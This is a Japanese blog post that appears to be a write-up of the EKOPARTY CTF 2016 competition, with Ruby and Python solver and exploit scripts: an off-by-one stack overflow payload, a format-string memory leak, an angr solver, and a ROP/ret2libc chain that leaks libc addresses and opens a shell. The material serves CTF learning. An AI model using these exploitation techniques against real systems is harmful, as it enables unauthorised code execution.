読者です 読者をやめる 読者になる 読者になる

Note Of Study

情報科学、情報工学、数学などの分野の日々の備忘録

EKOPARTY CTF2016 writeupと感想

二日間にかけて参加していました.実は,このEKO PARTYは去年1人で参加していたりしたので,なんとなく懐かしい気持ちもありました.
http://encry1024.hatenablog.com/entry/2015/10/24/091648

実は,縁あってTokyo Westernsの皆さんと参加させていただきました.一応,PwnやRevという立ち位置で参加させていただいたのですが,チーム内最弱なので,なんとか1問解ければいいか(チームの人が強すぎて先越されるという意味もある)と思っていました.

結論から言うと,Pwn25, Pwn100, Rev25, Rev250の合計400点を入れました.チーム総得点は2600の15位でした.後述しますが,Rev250の続きのPwn200が解けなかったのが非常に悔やまれる.以下Writeupです.

JVM(Rev25)

classファイルが渡されるので,jadで以下のようにデコンパイルする.

$ jad EKO.class

生成されたEKO.jadは以下です.

// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name:   EKO.java


public class EKO
{

    public EKO()
    {
    }

    public static void main(String args[])
    {
        int i = 0;
        for(int j = 0; j < 1337; j++)
            i += j;

        String s = (new StringBuilder()).append("EKO{").append(i).append("}").toString();
    }
}

コードよりiがFLAGになるので真似てsolver書く(書くまでもない)だけです.

Ultrababy(Pwn25)

アセンブルするとOff-By-OneStackBufferOverflowであることがわかり,1byteのBOF含めた値で関数をcallしている.さらにFlagというFLAG出力用関数があるので,その関数の末尾1byteの0xf3を敷き詰めてBOFさせてあげればFlag関数が呼ばれる.

require 'pwnlib.rb'

host = "9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site"
port = 55000

PwnTube.open(host, port) do |tube|
  payload = [0xf3].pack("C") * 0x19
  tube.recv_until("Welcome, give me you best shot\n")
  tube.sendline(payload)
  puts tube.recv_until("\n")
end

My first service I(Pwn100)

FSBがある,スタックにFLAGっぽい文字列がある.見るだけ.

require 'pwnlib.rb'

host = "9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site"
port = 35000

PwnTube.open(host, port) do |t|

=begin
  t.recv_until("key: ")
  t.sendline("AAAA" + "%p "*20) #=> 13
  p t.recv_until("\n")
=end

  8.upto(11) do |x|
    t.recv_until("key: ")
    t.sendline("%#{x}$p")
    print [t.recv_until("\n").match(/: (.+)/)[1].to_i(16)].pack("L*").reverse
  end
  puts ""

end

Fuckzing reverse(Rev250)

  • libget_flag.soがリンクされている
    • get_flag関数があるのでこれを呼べれば勝ち
  • read(0, buf, 0x12c)する
  • 演算処理してだめなら終わりの処理へ飛ばす(je,jne,jleなどなど)

実行しようにもlibget_flag.soがないため実行できない.そこで偽のlibget_flag.soでも用意すれば動くんじゃないかと思い,以下のようなファイルで作成する.

// wei.c
void get_flag() {
  puts("Hello");
}
$ gcc -shared wei.c -fPIC -o libget_flag.so
$ set -x LD_LIBRARY_PATH ./

これをすると動いたので,動的解析可能になった. そこで解析していくと前述したように入力値に対して,演算処理して比較する項目が大量にあった.これは手作業だと面倒だなぁと思い,get_flag関数が呼ばれる少し前を見てみると最後の判定処理して飛ぶ部分が0x4039de,さらに1番最初の判定処理して飛ぶ部分が0x400c36だとわかった.どれぐらい判定処理があるのかobjdumpをgrepしたら相当量あった.そこで手作業はやめangrを使うことに決めた. 方針としては,先程のobjdump&grepの結果から判定処理に使われていそうなジャンプ命令のジャンプ先アドレスに行かないようにPATHを絞ってあげて探索した.  

# coding: utf-8
import angr

p = angr.Project("./FUck_binary")
avoid_list = (0x4051b2,0x405176,0x40513a,0x4050fe,0x4050c2,0x405086,0x40504a,0x40500e,0x404fd2,0x404f96,0x404f5a,0x404f1e,0x404ee2,0x404ea6,0x404e6a,0x404e2e,0x404df2,0x404db6,0x404d7a,0x404d3e,0x404d02,0x404cc6,0x404c8a,0x404c4e,0x404c12,0x404bd6,0x404b9a,0x404b5e,0x404b22,0x404ae6,0x404aaa,0x404a6e,0x404a32,0x4049f6,0x4049ba,0x40497e,0x404942,0x404906,0x4048ca,0x40488e,0x404852,0x404816,0x4047da,0x40479e,0x404762,0x404726,0x4046ea,0x4046ae,0x404672,0x404636,0x4045fa,0x4045be,0x404582,0x404546,0x40450a,0x4044ce,0x404492,0x404456,0x40441a,0x4043de,0x4043a2,0x404366,0x40432a,0x4042ee,0x4042b2,0x404276,0x40423a,0x4041fe,0x4041c2,0x404186,0x40414a,0x40410e,0x4040d2,0x404096,0x40405a,0x40401e,0x403fe2,0x403fa6,0x403f6a,0x403f2e,0x403ef2,0x403eb6,0x403e7a,0x403e3e,0x403e02,0x403dc6,0x403d8a,0x403d4e,0x403d12,0x403cd6,0x403c9a,0x403c5e,0x403c22,0x403be6,0x403baa,0x403b6e,0x403b32,0x403af6,0x403aba,0x403a7e)

addr_main = p.loader.main_bin.get_symbol('main').addr
initial_state = p.factory.blank_state(addr=addr_main)
initial_path = p.factory.path(initial_state)
pg = p.factory.path_group(initial_path)
e = pg.explore(find=0x4039e4, avoid=avoid_list)

if len(e.found) > 0:
    print 'Dump stdin at called get_flag():'
    s = e.found[0].state
    f = open("input", "wb")
    f.write(s.posix.dumps(0))

少し待つとinputにいろいろ値が入ったので,以下のように流し込んだ.

vagrant@alice1000:~/c/e/Fuckzing_reverse$ cat input | ./FUck_binary                                                                                                          ASLR: ON
Hello, what's your team name? Hello
Your flag is Goodbye!fish: Process 23191, “./FUck_binary” “cat input | ./FUck_binary” terminated by signal SIGSEGV (Address boundary error)

この結果より"Hello"が出力されており,get_flag関数が呼ばれていることがわかる.したがって,これをサーバ側に流し込んでFLAGゲット

Fuckzing exploit(Pwn200)

解けなかった問題
Rev250のFLAGを出力した後にmemcpyがあり,__libc_start_mainを上書きし,簡単にripを取ることが出来る.そこでwrite関数でprintfのアドレスをリークして,問題文に描かれているlibcのオフセットを使って,systemと/bin/shのアドレスを求めてret2libcをやったが,ローカルではシェルが取れたものの,リモートではできなかった.そこでone-gadget RCEをやってみたものそれでもうまくいかなかった.この時点で午前3時とかで頭が回らずうなっていたら,申し訳ないことに完全に寝落ちしてしまった. 戒めのためうまく行かなかったexploitを載せておきます.(ソースコードを整え直してないため汚い)

# coding: ascii-8bit
require 'pwnlib.rb'

# libc version: libc6_2.23-0ubuntu3_amd64
printf_plt = p64(0x400930)
write_got = 0x606038
main = 0x400b30


host = "localhost"
port = 8888
$libc_sysmte_offset = 0x46590
$libc_bin_sh_offset = 0x17c8c3

if ARGV[0] == "r"
  host = "7e0a98bb084ec0937553472e7aafcf68ff96baf4.ctf.site"
  port = 10000
  $libc_sysmte_offset = 0x45380
  $libc_bin_sh_offset = 0x18c58b
end


PwnTube.open(host, port) do |t|
  printf_got = 0x606020
  write_got = 0x606038
  key = `cat input`.bytes.pack("C*") # to stdout
  payload = key[0..99]
  payload << "A" * 40
  payload << p64(0x40567a) # pop rbx, rbp, r12, r13, r14, r15
  payload << [0, 1, write_got, 8, printf_got, 1, 0x405660].pack("Q*")
  payload << p64(main)
  t.sendline(payload)
  t.recv_until("!")
  printf = t.recv.unpack("Q")[0].to_i
  p "0x" + printf.to_s(16)
  $libc_base = printf - 0x54340
  $libc_base = printf - 0x00000000000557b0 if ARGV[0] == "r"
  p "0x" + $libc_base.to_s(16)
end

PwnTube.open(host, port) do |t|


  key = `cat input`.bytes.pack("C*") # to stdout
  payload = key[0..99]
  payload << "A" * 40
  payload << p64(0x00405683)
  payload << p64($libc_base + $libc_bin_sh_offset)
  payload << p64($libc_base + $libc_sysmte_offset)
  payload = payload.ljust(0x12c, "\x00")
  t.sendline(payload)
  t.recv_until("!")

  t.shell
end

感想と反省

EKOPARTYは初心者向けと言われていたので,確かに何問か解くことができて楽しかった.急遽チームメイトと遭遇したりして,一緒にやったりするイベントも発生したり面白かった.
Exploitの共有を促されていたのに寝落ちという非常に最悪なことをしてしまったので,つまったらすぐにチームメイトに助けを求めるべきだった.絶対次は気をつけたい.